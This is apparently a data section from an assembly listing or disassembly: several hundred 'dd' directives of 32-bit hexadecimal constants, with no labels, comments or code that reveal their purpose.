dd 0C9C1609h, 37249102h, 0B2B7E517h, 704A2D77h, 3708E9AFh
dd 31582281h, 3056EECEh, 0EE8C39E9h, 0EE8BDD3Ch, 494BB41Bh
dd 0F7767116h, 26F45623h, 2AFCA41Dh, 2C2DFD90h, 3631E1A1h
dd 36E56139h, 7739ED47h, 0EB5F3CEAh, 0CC498D3Fh, 21F54B1Eh
dd 6324F2FDh, 30027F3h, 152CFB21h, 0E0412FFBh, 605F4832h
dd 3D5BB70Ah, 7F183CBAh
dd 0F987EB7Eh, 0A503915Fh, 6706AFh, 0A93C4538h, 420CAA0Dh
dd 16AC09ACh, 34A3DEB0h, 0F9B43535h, 0B76D6F3Dh, 0B31B8A3Dh
dd 71931E1Ch, 0D6CA655Eh, 0CFEB9466h, 0AE3369DFh, 0AA21ED2Ch
dd 313233D7h, 750BF210h, 8F7C4F45h, 3D2BC29Ch, 951BBC8Bh
dd 23DFA3EFh, 0A506E45Fh, 345DD7D9h, 0AB6A38E9h, 1914662Dh
dd 0CD0ECA30h, 7BF0974Bh, 0FF794831h, 1D9990BFh, 8C36DF14h
dd 65762C83h, 0C20C052h, 4F0C23CBh, 3F370A39h, 0F430F17Eh
dd 2051E72Ah, 6C55F1A4h, 950A3F3Fh, 0AD1B3A69h, 0A422766Fh
dd 28243615h, 0E4B0C22Ah, 7E12AE3Ch, 37B3F40Eh, 0B10BDE37h
dd 16757AF8h, 0F33E3D3Ch, 0DD1D1F33h, 23212035h, 6604CD25h
dd 0F1BA2863h, 3C102F3Ch, 640B3067h, 60631B35h, 3A6D1A39h
dd 323F6A24h, 771F1D4Ch, 0AAD62148h, 86C92575h, 0CB287C27h
dd 0FA2D8E86h, 3293507Dh, 0FD291537h, 0FA6B3A80h, 3F3D3C99h
dd 0AFA907DEh, 80051B1Eh, 25848922h, 18FAD79Eh, 0D2D3F548h
dd 14B94B7Eh, 55653732h, 4DB13772h, 0B3B13F1Eh, 820B06BDh
dd 50D81F1Dh, 2723384Eh, 692DCE81h, 0D47A481h, 310FE82Ch
dd 72DB2BB9h, 0B6BA2605h, 143A3F6Eh, 1909D625h, 1E1B5F1Dh
dd 5A8C937h, 220B2426h, 3DC23F29h, 0BF008F2Dh, 177E3186h
dd 8B57DD7Ch, 6B3AC6C7h, 731A71B1h, 1E2B9873h, 7320205Bh
dd 0D991BECBh, 0EEAAD737h, 3ABD2C3Bh, 1631ACA7h, 34353547h
dd 0BE8FB8DFh, 23DC3C4h, 0A7CEF37Bh, 0DE20AF1Eh, 27FC8B37h
dd 2B7CAA27h, 0C67D3B3Eh, 21743F2Bh, 0E2CB6102h, 193DE7BFh
dd 0E76C0739h, 95C5C68h, 67BD55FCh, 703B822Fh, 9B719E66h
dd 0C3FAA28h, 272BEE39h, 551E1DE2h, 32C75C07h, 88EEB9B8h
dd 0F3616139h, 0F43DE96h, 373D0934h, 2729252Bh, 0A06459B9h
dd 0A321302Ch, 33A2B6B4h, 0B3390544h, 323AB90Dh, 8B53334h
dd 0F64EBF9Bh, 670C3782h, 35C12A9Eh, 0AA708804h, 2783833h
dd 20B289C7h, 162D6933h, 0D66A2B35h, 3CCD55D3h, 8F0005EFh
dd 61227E7Ch, 216A23E2h, 43E1142Eh, 2DFE2B2Bh, 7DB9EEBAh
dd 53DC1B16h, 397C372Dh, 0AE3C372Fh, 0AA37C3Dh, 0A31C341Dh
dd 242BB225h, 79276AE9h, 0A77E2A7Ah, 663F0A41h, 4133B966h
dd 306ABD31h, 3C1F66B0h, 0F41B325h, 3AC7F54Bh, 2BAD2421h
dd 71B65A60h, 0E7663CD7h, 0ADE8A629h, 0CC73031h, 8FC90663h
dd 2BD827CDh, 7BD3C3Ch, 1B106FBBh, 2222A009h, 43186321h
dd 0AA2B08BDh, 0D1AEC255h, 32344E3Ch, 0F56A343Eh, 69863CBAh
dd 3A1DDCFAh, 97DC14h, 0AC76263Fh, 7124A740h, 0FE7C79C4h
dd 46228BF0h, 0F02412FFh, 0D01127B7h, 2AD82325h, 3C2C692Ah
dd 0EFAAD38Dh, 6CF70A12h, 37C362A1h, 1A245441h, 0A73A4A10h
dd 0A1BB0E15h, 0B4FFB9B6h, 81352BCh, 0DD27D269h, 0F3F43629h
dd 0EF217C00h, 0F8112220h, 70D51E24h, 0EB182E5Dh, 6FF46BC5h
dd 3F9B71AEh, 0FDF6F9DCh, 397AA86Eh, 7EA2B42Ch, 7E73F413h
dd 86493841h, 0E641C41Fh, 7A7A6844h, 362E6C0Ah, 0D23901C7h
dd 4118064h, 0B15C18AFh, 3E5EFCF5h, 59F41A3Ah, 0A0301A9Fh
dd 0CC2FB75Bh, 2B6E3627h, 0AC86AA30h, 972C0B2Ch, 5A933D33h
dd 0D1A35B7h, 103EBA1Fh, 26339A3Ch, 6ADC1C9Ch, 6A2BA368h
dd 5122A778h, 882EAB6Ch, 1F562C04h, 7F6FB016h, 6FB234B4h
dd 1C35BB10h, 703DBFACh, 0DC073CD8h, 2A63209Fh, 7A78DD26h
dd 8E286990h, 9043072Dh, 32322D1Dh, 0FE050BD5h, 3FC2BA70h
dd 0A0B93D33h, 3AE21F1Bh, 0F265B49Ah, 6269A461h, 46882003h
dd 88D3D22h, 32B7B520h, 3A117821h, 1E78B1A7h, 0FF2E5D82h
dd 29173B18h, 0AC713E8Fh, 65701152h, 9E5E350h, 1971EA2Bh
dd 0FFBBFF7Eh, 2C2467BBh, 58B21764h, 0D53433B3h, 981BAF25h
dd 0AF546ADDh, 0AAC20740h, 51B62795h, 5C33C221h, 0F0AABE1Bh
dd 32323D44h, 390608DDh, 3F9A2A1Fh, 14043CA6h, 333A4991h
dd 0FB4A70A8h, 0CF743225h, 61112D2Dh, 0AB392D31h, 62620432h
dd 93021534h, 2439F550h, 203F39DAh, 1E721D0Bh, 0D605AC92h
dd 0CE752723h, 0D4204627h, 0AA1A7D4h, 0B2347203h, 12B1F226h
dd 3B3AB81Fh, 5D799C63h, 1D9F5FB4h, 74732BF2h, 41004FA9h
dd 12F31426h, 970A2C1h, 0B53F6F6Ah, 3734322Fh, 3974A5B6h
dd 0C3E014D2h, 13DBBAC1h, 20139A19h, 4C747429h, 6C011A81h
dd 702B8CA9h, 3F2F7E7Eh, 0C2330151h, 0C6EDEFDDh, 6D3FEAFCh
dd 0C8FFE16h, 5E4F1297h, 65AB3563h, 0F533AE0Ch, 0C3D67B2Fh
dd 7E561EEEh, 3C64FD79h, 0A9363A38h, 13EB5879h, 2D4BFC07h
dd 62CD553Ah, 19303894h, 7678F4E1h, 0EA1AEB2Bh, 0D128D308h
dd 4FF1B52Ch, 969654F0h, 0FDFCF931h, 5F397AF7h, 1D197B3Fh
dd 3E36DE1Fh, 2B612227h, 0EEE114E7h, 2F3C2A2Ah, 0B8631FCEh
dd 7DBD3A7Ah, 71B0F727h, 3074B23Eh, 432D2E51h, 2E725E1Ch
dd 93FBDD56h, 6CD1D925h, 582A220Dh, 0D8792E24h, 3431FEECh
dd 0FD36364Ch, 1C2A3A98h, 0DC3D3E3Dh, 706A1D8Dh, 2122494Bh
dd 1524D42Bh, 29CA2BD8h, 2DDF2865h, 3333038h, 52554D51h
dd 524E4938h, 7F7E5353h, 5B5C1C4Ah, 7463615Fh, 0F63C6413h
dd 1A682926h, 7A240C22h, 5D394247h, 0E203686h, 3B793A32h
dd 761E3C39h, 0DD8910BAh, 2AA5CF0Eh, 2134E452h, 804AE2D2h
dd 0B6292FEAh, 0B5962E2Fh, 3BBC823Ch, 30BD7F3Ch, 38393EDAh
dd 4D633C3Eh, 211F1B18h, 2F2EE2ACh, 9D312724h, 2D0A2B28h
dd 312F022Ch, 0D430522Eh, 6AF76E13h, 0D42272B4h, 0BB3D3EF1h
dd 4E0E9D00h, 0CB4E6CADh, 0A2328593h, 0CA0228A8h, 0E6C62E25h
dd 913393E2h, 35379474h, 3A9982D0h, 173F9C64h, 0BDB0F41Ah
dd 7E81501Eh, 868BCC03h, 302B29A6h, 6C0D19EBh, 4ED93807h
dd 0C2AD34C1h, 0B0D13137h, 0F83DCE57h, 0F5161BCBh, 320ED42h
dd 2E24D7D6h, 29DA6BCEh, 0DE7D2908h, 0DD8232Eh, 0C16433C0h
dd 0D12C3A36h, 433CC916h, 0F4153FCAh, 20ED5B01h, 2B23D68Dh
dd 28D62ACDh, 3F0F8A6Dh, 71E452D8h, 3834CD8Ch, 9383A35h
dd 0B30A576h, 6B46D35h, 4A2A6C99h, 0CBCF0100h, 7D767EF2h
dd 3B29C12Ch, 0D5A5DD16h, 0DB36E2CFh, 1C36C5F2h, 0EC216CFEh
dd 0B99E5534h, 4E4F2D9Bh, 93830BF7h, 4C702453h, 0B29882Dh
dd 12A0AC6Bh, 3275D8E5h, 0C623BF29h, 315931F7h, 78365E37h
dd 3C3D4C0Fh, 19769474h, 664FC570h, 55607ABh, 0EC74C37Dh
dd 303C69FAh, 4837A670h, 7FFF6028h, 3D3F7B36h, 2C5DF83Dh
dd 20F72A7Dh, 0DBDFDCF6h, 0C9CF244Fh, 0CEF2AAAh, 0F7E7A57Bh
dd 74331675h, 0F6DF3235h, 3CC4C6F6h, 4B3B70B0h, 6E76A44Dh
dd 22226560h, 0D7EB49CCh, 0F3E6528h, 132FCD28h, 0DBCD2370h
dd 0CBFF1DC4h, 363EF8C7h, 1B6A3998h, 19772C5Bh, 0A048C84Dh
dd 0A2643827h, 0A616ACB4h, 0B2A5BF0Bh, 0A0D19410h, 56890B87h
dd 5AC9125Ah, 0EB5DBC65h, 31411B33h, 1160972Eh, 497F636Eh
dd 72685716h, 776CAF40h, 0E168AF8Eh, 633465F2h, 6DFA722Ah
dd 4D6F3B7Ah, 4C9B470Fh, 6F5F1FA1h, 162B13F9h, 0C8422CEDh
dd 4049E651h, 339E36AFh, 317A3B31h, 78321EB7h, 3D723F38h
dd 6B5A5B76h, 735F4D31h, 22B35749h, 2727BD2Ch, 43492C68h
dd 5F454359h, 673234B8h, 44585446h, 2B485C5Eh, 5C507811h
dd 1E272D09h, 2EE4A119h, 0D426E410h, 0A7BD821h, 3BD22E2Bh
dd 33D231E7h, 70BCF708h, 0F1D4D23h, 7E303F75h, 11AE4D3Ch
dd 4B7615B9h, 5BAD1122h
dd 3176AE2Eh, 31723BA3h, 857069E9h, 356ABA31h, 1566BE06h
dd 0B41465B3h, 952F613Eh, 7E962643h, 0BE21B264h, 0A111512h
dd 7C2E3B1Ch, 3E0CF8D2h, 357132D8h, 0ACBC3385h, 3A1D361Dh
dd 13D73A6Fh, 3B5A1B2Eh, 71F6493Ch, 0CF71A46Bh, 3B2C1B69h
dd 54F12B19h, 35013C40h, 8D0845D4h, 83D3B5Ah, 0F5D6F3Ah
dd 4E2C0D1Dh, 83712812h, 77264E6Ah, 4EF9789Eh, 0D10E9FD0h
dd 3633CE2Dh, 24B36C2h, 29763AC8h, 187D2F7Ah, 0E089E6Ah
dd 21567969h, 0EC2A110Ah, 9C0021D9h, 0A600702Bh, 0B2234E1Bh
dd 21B70F26h, 853EBCE0h, 297D1378h, 4D285569h, 48346BEEh
dd 2E4273A9h, 963024Dh, 207B046Bh, 45EC0E16h, 754B5A5Dh
dd 1A22C934h, 38309855h, 0CC4EFE0Eh, 0B5ED99Fh, 823CA9E3h
dd 61228530h, 2A12AA28h, 91213C52h, 3758253Eh, 65423B34h
dd 2BD1313Ah, 0AF469C38h, 7A1D9C2Ch, 0DD21A0CCh, 0EC415AE1h
dd 0BF28688Fh, 0AC3B6D8Ah, 9C97EB20h, 5E772272h, 3B7947D6h
dd 6A615D77h, 633E9818h, 7C20BEB6h, 0EF2C1360h, 1A2DA662h
dd 0D1A20DE8h, 2F12BA8Ch, 0F5E397A6h, 3F590833h, 3DBCE790h
dd 0E1BEB3Fh, 801EDE08h, 0A5CF3570h, 9803AA3Bh, 3F2CAC78h
dd 310CF6C5h, 2037C541h, 0BF3DE21h, 38CCAA38h, 5E8FD628h
dd 685E1C2Fh, 0BFCA3722h, 568E2417h, 0C33D2B5Fh, 8E2F1EA4h
dd 2B3305FDh, 442DD20h, 394D4139h, 0B9280D2Bh, 1239AF2Eh
dd 22A02BA1h, 265511E2h, 284C41C1h, 0BB2C696Bh, 7791357Fh
dd 37755432h, 3BAC5332h, 0E6B21C6Eh, 8C8C1AAAh, 2161841Fh
dd 25654E81h, 792D868Dh, 2D5D982Dh, 5C8B0CDEh, 0F4F73273h
dd 0F21C3736h, 7D3E7B35h, 7C0B919Eh, 0C03EF61Fh, 39CB7223h
dd 1B0798E7h, 355FE912h, 7AAF3A2Ch, 20B22623h, 30B354D9h
dd 0BC383AD3h, 0B1B42B6h, 7F23F9A2h, 2CA9212Ch, 0AD2264AFh
dd 0E12AA338h, 335B3B16h, 2346FA0Ah, 3666BF20h, 3AF86039h
dd 8B56631Ch, 4FB51DDAh, 23E3B2F7h, 1B22062Fh, 0E7012C35h
dd 27CC08C3h, 0B838B1B9h, 3C759DB5h, 33DD6865h, 2A3A0EBBh
dd 0ADB9198Eh, 3F122F16h, 3B168968h, 5471870Eh, 120872AFh
dd 3E30201Ch, 32343C32h, 6D3D2939h, 0EEC1F28h, 10CAD587h
dd 306A0F24h, 0E5A26220h, 0D1A62FC4h, 25F933C3h, 3330EDC0h
dd 7653121h, 3B701FC3h, 3F082B4Dh, 903C787Dh, 19FB5ADAh
dd 4F33261Fh, 859EDA17h, 136AA908h, 3E5A2C2Ch, 0E22C335h
dd 7AD68D34h, 554A3C5Ah, 0B7FEC339h, 63F99A6Dh, 4221852Eh
dd 221523CAh, 0C3452885h, 302CD559h, 0E303CF6Fh, 333A30DCh
dd 3F3E9D0Fh, 89383B16h, 0B4191D48h, 0A9D21A1Fh, 0E8F62620h
dd 0C8542229h, 20ED285Ah, 3140C97Ch, 36FE3339h, 1AE9BCFEh
dd 0EF1CCCD3h, 0C910E81Dh, 23273A1Dh, 0B8AEF721h, 6EB22736h
dd 0FFA03AD4h, 0AD2DCCECh, 24EAB9E2h, 6CBEE736h, 1FE9A73Dh
dd 863D7FEDh, 1CCD1620h, 9FBF25F5h, 0BFFE3224h, 0FCA140A8h
dd 36C42DEDh, 216D3312h, 5D610795h, 5DD23D34h, 1B42247Dh
dd 1EED9717h, 2054DF9Ah, 0CE73DAA8h, 2A49C6F3h, 2C4D1459h
dd 0B711303Bh, 0D62AA231h, 20E3914h, 36FF22FAh, 0CCE9171Ch
dd 60607528h, 0D72C032Fh, 2C26B3h, 2EDD9A67h, 33F02A1Eh
dd 0BE2C460Ah, 205C32A7h, 0ABB73EA2h, 0CD3B6BD9h, 1BBA1D67h
dd 0F221FDE6h, 20393627h, 0FD7B17A2h, 200B622Bh, 106F32B8h
dd 465F6725h, 0BC8F3E5Fh, 959A0E6Fh, 234E198Dh, 89233370h
dd 3B27E575h, 8ABC2878h, 7C67C6DCh, 1010F6D8h, 37E23D4h
dd 7B983h, 2D4B7DF7h, 0A395096h, 24F634DFh, 6216607h, 0F11A2A12h
dd 906D78A6h, 0C8D9623Fh, 0BD18B613h, 0E1BCC8F7h, 0FE324860h
dd 592A9930h, 2404B1F6h, 443E56D4h, 22870A8h, 8DE8AA3Eh
dd 0F2316F2Fh, 29DC7158h, 3BE83781h, 7D38FFB9h, 15FB3F6Ah
dd 221F16DEh, 4E285623h, 28EFAD24h, 0D148E7C1h, 32DC5D2h
dd 0B490F261h, 302B76F0h, 293A399Dh, 0BB59217Dh, 1E7EB915h
dd 1B6EA846h, 0E6872126h, 58F53389h, 0EF2E29A7h, 23F9EF20h
dd 0D7A2D9B5h, 0BB5A789Ah, 1BBAFA38h, 1EB95D87h, 70A323B5h
dd 6661871Fh, 0A881A407h, 2D8CAD84h, 536AD82Ch, 3475CBCEh
dd 3879F8B9h, 9C9D3A3Fh, 0DD58F3C0h, 0ADAB071Ch, 272D4206h
dd 214821E1h, 58A5ECA1h, 31312F22h, 79395236h, 2D692F12h
dd 43BDB3D2h, 0E3161EC6h, 0AB0F3D68h, 643B0675h, 66AA3E35h
dd 7D7B2E29h, 0C5C734A4h, 37B037DFh, 3E34B63Dh, 3C383CFEh
dd 3BB23DB9h, 0F2F64F18h, 2E00E0FDh, 0D1B0124h, 1D171915h
dd 12122D11h, 0E7A0C72h, 6336087Ah, 5B076305h, 3F035B01h
dd 236F2177h, 1F5F1D67h, 0AC18A023h, 0BC14B81Ah, 13B12C16h
dd 0F990D8Dh, 8235099Dh, 0FA04820Ah, 3E00FA06h, 20CE26F3h
dd 1CFE22C6h, 591E5418h, 8612A91Ch, 2A16CF10h, 2F0B2115h
dd 970F0E09h, 0CF04D80Dh, 87018E06h, 0FF26E503h, 4A213720h
dd 911D871Fh, 3219C61Bh, 7C141F16h, 0EA108112h, 340CDD0Eh
dd 38352634h, 3F3B6A38h, 2B090E37h, 2F912D64h, 33681123h
dd 53E6A1E6h, 23E31A09h, 0CF02D2ADh, 0F2AF3E3Eh, 0BC60F575h
dd 0B32FC6C1h, 0A74F304Dh, 0E0F692Ah, 21836877h, 74721F23h
dd 8911C0CBh, 7839CD28h, 0A9B124FFh, 66CA372Dh, 13381938h
dd 31076322h, 121C143Fh, 91D6B2EBh, 0DA20E744h, 0E2BD627h
dd 0DCA72B9Ch, 0D96029A5h, 0CB3436D6h, 0BA30BCC9h, 7DB53FFEh
dd 42DDB430h, 20198EDEh, 242F23EDh, 2C0362AEh, 2D4EC279h
dd 0E8D9962Dh, 0F673F22Ah, 39373A31h, 5C2E623Eh, 71CEB56Bh
dd 5F480530h, 9364B77h, 3426444Eh, 6B2F2948h, 25440D59h
dd 6397103Eh, 0F3B57054h, 0B03E6F1Ch, 17291DF4h, 17F5181Bh
dd 0E4B0611Eh, 9F737427h, 6E13594Fh, 7E273B5Bh, 0D25B7123h
dd 47CA1032h, 0B4D13837h, 0EE143C44h, 3B09E423h, 0C1233F32h
dd 0C5422B00h, 297A3126h, 294A5542h, 24CF79AEh, 34656374h
dd 295239D6h, 93CEB6Ah, 901E5E2Fh, 7A0E2A39h, 1E2F0675h
dd 26B677h, 878A2D49h, 7CA62E0Dh, 14131635h, 3C371230h
dd 18BF4EB0h, 0AB3D807Fh, 95C9121Eh, 0A92CAB22h, 0E61CFD0Ch
dd 2BF12628h, 0AF2F6723h, 0B93377BAh, 37FE0FEDh, 39F81337h
dd 303EE633h, 0CC121CC9h, 0DDFB709Ch, 39EFF6A6h, 0FF39AA8Bh
dd 6C3D817Ah, 2CCE9891h, 0FB3D7697h, 5A38B273h, 0B59F7E3Bh
dd 966C1B53h, 1203B6Ah, 0AC73EA11h, 2138036Ah, 2D346DA1h
dd 0F00B3B2Dh, 0B5242146h, 0B93343B8h, 0C2F4B8A0h, 97873D3Fh
dd 1B3F3A41h, 2E3157F8h, 0E8142F25h, 205522AAh, 4ED02EA8h
dd 49EC097Bh, 4337BB36h, 0F83BB938h, 45F9B539h, 0F1E19DEh
dd 0EFB2B121h, 63AD2528h, 782E290Ch, 1CDFA67Ah, 0F43261EBh
dd 74D62532h, 3BB33838h, 61B73462h, 6466F40Ah, 0AADEDF1Fh
dd 78AC207Dh, 5C29B52Ah, 2C552F70h, 10B3162Fh, 3E741CB7h
dd 15D13A96h, 0DE319D60h, 119CCF08h, 1EA56FDh, 0B3B6A923h
dd 0AFA2AFE7h, 7D7E1CEAh, 0C77C188Ah, 3554DA8Dh, 36F8C422h
dd 38961C5Bh, 3D821B1Fh, 7B9B8C39h, 8D2F02B5h, 8A2B6285h
dd 8C2A6188h, 344D2505h, 30520F1Bh, 2B355C93h, 56032D39h
dd 65D76F2Eh, 9CA79D0Dh, 64240DE4h, 74BDCD03h, 0B02B3528h
dd 88257F7Ch, 0B8DE31F5h, 67023571h, 51299E33h, 313EFD25h
dd 0DE14761Fh, 354B1C15h, 0BAFCC72h, 6C193C65h, 64C5043Fh
dd 0DA5912AEh
dd 0F228BF60h, 0BA582E77h, 0C16D3A38h, 7D3A9BECh, 23707593h
dd 4459CB72h, 0A5A8693Ah, 2DA209F4h, 672C512Fh, 0CAB130B0h
dd 974C6C36h, 0FA0E516Dh, 1C3BFF79h, 0CAD4F619h, 6A43ACA3h
dd 861AD2Dh, 7A3B2209h, 2C0D68EAh, 0F07327F0h, 2DF73520h
dd 0B6BBCF5Bh, 5AB1B0B0h, 8F085995h, 3B346835h, 0FF6F3360h
dd 6F0E7D3Eh, 526C6C79h, 0F77627F2h, 21F63122h, 2DFA58A1h
dd 83B8B06Ch, 8D90B1Bh, 34E8492Bh, 64E0709Fh, 0E53D6828h
dd 0A99603Eh, 565E7D07h, 14375846h, 45BBBC6Ah, 723E36BCh
dd 980312BFh, 48944B58h, 400AA34Fh, 2E2B6223h, 2F2B2AD9h
dd 5E1E2F79h, 5C704045h, 5A5D6F44h, 0BDAABB4Eh, 4D1B7C24h
dd 596F2A72h, 0A5836225h, 69E82737h, 5E4F2E4Dh, 5C1E29ADh
dd 0B8217E31h, 0F9DF7A26h, 16D3A7BAh, 18BE3BA5h, 1F2B1C05h
dd 0B81DC924h, 6020A471h, 291860ABh, 79AD582Ah, 3533B815h
dd 693596BAh, 3B2FD13Bh, 77BF1C3Bh, 0FE651ADCh, 0E4AA101Fh
dd 6682F08h, 0C3DD36Bh, 0C1BBC42Fh, 0AE32D22Ch, 4236D15Eh
dd 3AE9F49Fh, 1AAE4E37h, 436C153Eh, 0F1345E97h, 0F937AC26h
dd 0E6136B22h, 3924E922h, 32DF27E1h, 9EDCE323h, 7A6C677Dh
dd 392F0AB9h, 0BAB1B42h, 22001462h, 2E27122Bh, 792FAD35h
dd 128A272Bh, 0A0EDC609h, 21B8BA0Ah, 0B3346711h, 1EEF68F1h
dd 0F7D73565h, 121C140Ch, 293FDCF8h, 12AD137h, 0B765D00h
dd 2C2E910Fh, 20315B24h, 32264717h, 0FC0DC150h, 3E4E3B9Fh
dd 0F611192Fh, 0A2021061h, 0FCDD2059h, 8B2A2887h, 2D2E0C2Bh
dd 3272332Fh, 3E313433h, 38A93EDCh, 5D393C3Bh, 3D781B52h
dd 44007C31h, 4A364B41h, 5A0D5CE5h, 1312476Bh, 5859BF0Eh
dd 37F61512h, 5EB84443h, 3D1C5A3Ch, 75793DB7h, 1A6D7F73h
dd 43216858h, 712C792Eh, 73D0EE22h, 0B2247826h, 3F6C3533h
dd 1B38363Ah, 0F021193Fh, 0A806358Fh, 9C3D1917h, 496265E7h
dd 32D97206h, 23183BC8h, 4F0A480Fh, 62BF7153h, 0BD241175h
dd 0F2BE3138h, 0C6BE3148h, 3A8D9D39h, 68616611h, 1F33A426h
dd 40674267h, 2E284627h, 0B230E46Ch, 0F064302Bh, 3D351CB3h
dd 3C3F3C1Bh, 0A9E30D7h, 0C982942Eh, 1B009A5h, 7B02A6AAh
dd 0AC7D3AAAh, 36D82C04h, 0BAEC1AB6h, 537C171Fh, 0B910BF68h
dd 0A5AA71Ah, 2D5F5B4Dh, 0EB0726E3h, 2CEB1B21h, 46383968h
dd 230F2727h, 243D7034h, 299DDE64h, 0D43D3EE5h, 4B2DFEFAh
dd 224CCAF4h, 1AD225FEh, 572E21FFh, 78A43D1Ch, 444F23BCh
dd 0DB603890h, 9F32F96Ah, 0F941D13Fh, 3BF1B638h, 0A919DCBFh
dd 4A5143Ch, 0AE27E42Ch, 0FA92AE6h, 0E83A2E96h, 0BF7A31ADh
dd 62B741Dh, 6921262Fh, 2B7D719Bh, 59D4D6Dh, 35243F0Ch
dd 0C520234Eh, 5D00A56Dh, 3EF33DB7h, 5717E3Eh, 353E592Ah
dd 181B7B3Fh, 9C22BD4Eh, 1840FF63h, 1896DE0Dh, 7ACB7573h
dd 26E715E6h, 2D35C22Dh, 67276074h, 7A19BB70h, 0B8235A74h
dd 1AFA6875h, 44DFF8B6h, 13DC4642h, 5D3F07E5h, 7D4A0DE3h
dd 0AB30E9DBh, 712E5004h, 0E94F19B8h, 501EB6CFh, 13BB3CB8h
dd 0BF39BC63h, 8C553BC8h, 5E135438h, 0B2B51667h, 0F21BEC00h
dd 7A210BBFh, 62B1241Ch, 62BEE403h, 3E5D68B7h, 162B5008h
dd 2EA0288Bh, 0ED135FDAh, 0D917C311h, 39087624h, 6918171Eh
dd 5647E2Eh, 45002F6Eh, 45FB6632h, 9E81229h, 182B0F14h
dd 141E8E31h, 69CB2E51h, 0C231460h, 0C43E2E1Ah, 282B1C40h
dd 0B4370064h, 0AA33209h, 380B143Dh, 39556E14h, 13FE3176h
dd 1B2EA10Dh, 75094F84h, 2F7821C0h, 872A7E04h, 611AD926h
dd 33642930h, 193E6503h, 0B1B48A9Ch, 93A731BAh, 82B70DBEh
dd 8779C50Eh, 0FE8477Ch, 1C008E9Ah, 1D1152C7h, 0D6401992h
dd 17989D39h, 0B11099A8h, 1231B638h, 0C14E32BAh, 88E3283h
dd 0C8F3AE7Ch, 3D018F13h, 0EB31CF43h, 189E5012h, 772E9707h
dd 0A55CEB57h, 7CCB3F4Fh, 501F6FBEh, 55888C01h, 9147F625h
dd 58EF2A5Dh, 305BE12Dh, 3447E89Bh, 0C83742D0h, 48C03A4Dh
dd 93398A3Dh, 6E0F1D6Fh, 3F42F120h, 524B25D0h, 2B5B0E28h
dd 0DB1C4DFCh, 0E324430h, 0B1364435h, 6A7ABC37h, 1B720D51h
dd 7AED4D0Bh, 0CAAAA19Fh, 0A561B48Ah, 306A98DAh, 4F7A2DABh
dd 0FD9B4FAh, 0AABC1E23h, 1639A413h, 580DC519h, 2DA02EB4h
dd 0B9F6E028h, 0A5279ABBh, 0DEF115FCh, 2D2EABD3h, 0B2CAA406h
dd 0F4DC39F5h, 394C4F53h, 3EFCAB39h, 2D1A3E17h, 111E0Dh
dd 24432021h, 4943540Bh, 2E2B4B5Dh, 0B265F889h, 36633005h
dd 373B36h, 0BE157A3Dh, 80A73D31h, 1DD61DA2h, 2B222510h
dd 24262624h, 0EB622429h, 35AD4402h, 15322F02h, 7B6E5C34h
dd 2F3AF7D1h, 0BDF8583Dh, 0F7D90018h, 2622A2A1h, 22492CAh
dd 0A3FF4D26h, 4B2D332Bh, 5114B257h, 7EB311A5h, 7ABB4671h
dd 0D7285E3Bh, 37191E4Ch, 2448F65Ah, 78CD1C27h, 4E06A27h
dd 20390C28h, 0F102E09h, 36B48538h, 41321593h, 31E83117h
dd 0DB5426BAh, 0F0E3283Dh, 1A2AE72Eh, 3BF22324h, 499DC221h
dd 23F23E0Dh, 0EE68C24Bh, 3BC7CE26h, 0BD44D29Dh, 3B296338h
dd 300E1054h, 0CB783389h, 9E25F40Eh, 0E935710Bh, 7B3A0738h
dd 0E3F32648h, 62214C2Bh, 5D2D4470h, 403D3DFEh, 9EC4F40Ch
dd 2836591Dh, 0A6BECC4Fh, 0D93E5125h, 395F2E3Bh, 4DAFE2F2h
dd 443E3624h, 20895720h, 0EF502B44h, 19CF563Ch, 0E060086Dh
dd 16335622h, 5D28E6BDh, 2D9C0C3Dh, 0B3613DAEh, 6536915Ah
dd 7D872BDDh, 1C4738F2h, 740FDD3Dh, 359B1CBFh, 28230254h
dd 0C8E644AEh, 0B9A0D009h, 106C286Dh, 0F4009EF9h, 72B616A4h
dd 6E1B9B99h, 9E3F347Eh, 0D09A12C7h, 23112220h, 59FDA0DBh
dd 0E9A279h, 0AED0872Eh, 3133DF23h, 8B3434E8h, 7A7E3B38h
dd 127D3D4Ah, 191DF995h, 2BA0756Bh, 6827257Dh, 2B152A26h
dd 2F780229h, 30302E2Dh, 3E373527h, 90CD3A36h, 0DE3F3CDCh
dd 1CD0193Eh, 2321A91Ch, 27258188h, 532A26AEh, 2C3D7928h
dd 0A5313BD6h, 74323223h, 7D393626h, 3D8B2C71h, 56717754h
dd 6C755977h, 6F532224h, 0A5621625h, 2C170E6Dh, 0D87F6847h
dd 0CBCCAC7Eh, 8F3B535h, 18B7B769h, 1B3E3E99h, 3B9ADB1Eh
dd 2322227Ch, 0B7CE3A26h, 2A422829h, 6D854D2Dh, 6BF3B037h
dd 36663775h, 3A3B7139h, 3FBF0396h, 321D9D2Dh, 0A305209Eh
dd 0A7398E23h, 2AA83C27h, 2C2DAD27h, 0CA9B30AEh, 0B7C52E12h
dd 3AB8DE37h, 943DBDE1h, 0D51C9AEDh, 0A09A1F9Fh, 25A58722h
dd 0E87F910Eh, 8604AB2Bh, 19B8196Fh, 6C25B373h, 0C3121FB2h
dd 15B733BAh, 9F338FD3h, 6017F209h, 0AEE736A4h, 89C9CE3Dh
dd 0ECAFEA69h, 332F6C59h, 56E4B235h, 2436F664h, 1DBAAAD1h
dd 5CD8B17Ah, 141F305Ch, 0CB3A2621h, 322F640Dh, 0DF0EFE68h
dd 0C7793FADh, 66A2DD7Eh, 2B8AB7E4h, 3DDAD7C8h, 39DC883Bh
dd 802D1D24h, 24C023CFh, 0FB2D4483h, 9B622EC7h, 5E64CC08h
dd 0A1F0FE29h, 77683247h, 38A84A78h, 33EE39C9h, 1119E9B5h
dd 0AF25E30Bh, 9A0CD62Bh, 21E77EF9h, 25E323E5h, 68EB27E1h
dd 963CF129h, 554C6EE2h, 0F460D33Fh, 14DB5836h, 8B22E156h
dd 40C32A65h, 71FF13AEh, 90A03AFFh, 69FFAA09h, 77BADAFEh
dd 671655h, 5816B129h, 86E3FDCh, 23DE5D1Ch, 63333D6Ch
dd 234E0502h, 797B2548h, 54C6A97Ah, 0B7B93211h, 25161D10h
dd 6B39386Dh, 0DDA24B9Ch
dd 0B9D1471h, 6D00ED12h, 0A6A144FBh, 4B283B3Fh, 0F58AD2Ah
dd 0F7B2236Fh, 22747C37h, 6631BD38h, 1CDDC3C4h, 59964062h
dd 0D4AB479Eh, 7750D019h, 6522B8F4h, 6D38376Ah, 0CE6179B1h
dd 85A46527h, 717C776Ah, 57FB70Bh, 339B4B87h, 21304295h
